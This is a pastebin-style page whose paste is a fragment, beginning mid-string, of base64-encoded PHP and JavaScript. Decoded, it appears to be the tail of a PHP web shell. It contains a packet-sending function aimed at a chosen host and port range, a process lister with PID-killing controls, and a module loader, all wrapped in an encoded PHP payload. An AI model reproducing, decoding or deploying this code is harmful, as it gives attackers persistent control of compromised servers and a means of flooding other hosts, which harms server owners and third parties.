aW1lb3V0LCBwYWNrZXRDb250ZW50KXsKCXNlbmRfcG9zdCh7cGFja2V0SG9zdDpwYWNrZXRIb3N0LCBwYWNrZXRQb3J0OnBhY2tldFBvcnQsIHBhY2tldEVuZFBvcnQ6cGFja2V0RW5kUG9ydCwgcGFja2V0VGltZW91dDpwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dDpwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudDpwYWNrZXRDb250ZW50fSwgZnVuY3Rpb24ocmVzKXsKCQkkKCcjcGFja2V0JytwYWNrZXRQb3J0KS5odG1sKHJlcyk7Cgl9LCBmYWxzZSk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CglzaG93X3Byb2Nlc3NlcygpOwp9KTsKZnVuY3Rpb24gc2hvd19wcm9jZXNzZXMoKXsKCXNlbmRfcG9zdCh7c2hvd1Byb2Nlc3NlczonJ30sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI3Byb2Nlc3NlcycpLmh0bWwocmVzKTsKCQkJc29ydHRhYmxlLmsoJCgnI3BzVGFibGUnKS5nZXQoMCkpOwoJCQlwc19iaW5kKCk7CgkJfQoJfSk7Cn0KZnVuY3Rpb24gcHNfYmluZCgpewoJJCgnLmtpbGwnKS5vZmYoJ2NsaWNrJyk7CgkkKCcua2lsbCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWtpbGxfcGlkKHBzX2dldF9waWQoJCh0aGlzKSkpOwoJfSk7CgljYm94X2JpbmQoJ3BzVGFibGUnLCdwc191cGRhdGVfc3RhdHVzJyk7Cn0KZnVuY3Rpb24gcHNfZ2V0X3BpZChlbCl7CglyZXR1cm4gZWwucGFyZW50KCkucGFyZW50KCkuYXR0cignZGF0YS1waWQnKTsKfQpmdW5jdGlvbiBwc191cGRhdGVfc3RhdHVzKCl7Cgl0b3RhbFNlbGVjdGVkID0gJCgnI3BzVGFibGUnKS5maW5kKCcuY0JveFNlbGVjdGVkJykubm90KCcuY0JveEFsbCcpLmxlbmd0aDsKCWlmKHRvdGFsU2VsZWN0ZWQ9PTApICQoJy5wc1NlbGVjdGVkJykuaHRtbCgnJyk7CgllbHNlICQoJy5wc1NlbGVjdGVkJykuaHRtbCgnICggJyt0b3RhbFNlbGVjdGVkKycgaXRlbShzKSBzZWxlY3RlZCApJyk7Cn0KZnVuY3Rpb24ga2lsbF9zZWxlY3RlZCgpewoJYnVmZmVyID0gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKCdwc1RhYmxlJywgJ3BzX2dldF9waWQnKTsKCWFsbFBpZCA9ICcnOwoJJC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpewoJCWFsbFBpZCArPSB2ICsgJyAnOwoJfSk7CglhbGxQaWQgPSAkLnRyaW0oYWxsUGlkKTsKCWtpbGxfcGlkKGFsbFBpZCk7Cn0KZnVuY3Rpb24ga2lsbF9waWQoYWxsUGlkKXsKCXRpdGxlID0gJ0tpbGwnOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J2FsbFBpZCcgc3R5bGU9J2hlaWdodDoxMjBweDttaW4taGVpZ2h0OjEyMHB4OycgZGlzYWJsZWQ+IithbGxQaWQrIjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImtpbGxfcGlkX2dvKCk7XCI+a2lsbDwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CmZ1bmN0aW9uIGtpbGxfcGlkX2dvKCl7CglhbGxQaWQgPSAkKCcuYWxsUGlkJykudmFsKCk7CglpZigkLnRyaW0oYWxsUGlkKSE9JycpewoJCXNlbmRfcG9zdCh7YWxsUGlkOmFsbFBpZH0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkkKCcuYm94cmVzdWx0JykuaHRtbChyZXMgKyAnIHByb2Nlc3MoZXMpIGtpbGxlZCcpOwoJCQl9CgkJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ1VuYWJsZSB0byBraWxsIHByb2Nlc3MoZXMpJyk7CgkJCXNob3dfcHJvY2Vzc2VzKCk7CgkJfSk7Cgl9Cn0KPD9waHAKCWZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewoJCWVjaG8gImZ1bmN0aW9uICIuJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsnaWQnXS4iKCl7ICIuJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsnanNfb250YWJzZWxlY3RlZCddLiIgfVxuIjsKCX0KPz4KPC9zY3JpcHQ+CjwhLS1zY3JpcHQgZW5kLS0+CjwvYm9keT4KPC9odG1sPjw/cGhwIGRpZSgpOz8+")); ?>
  3.  
Add Comment
Please, Sign In to add comment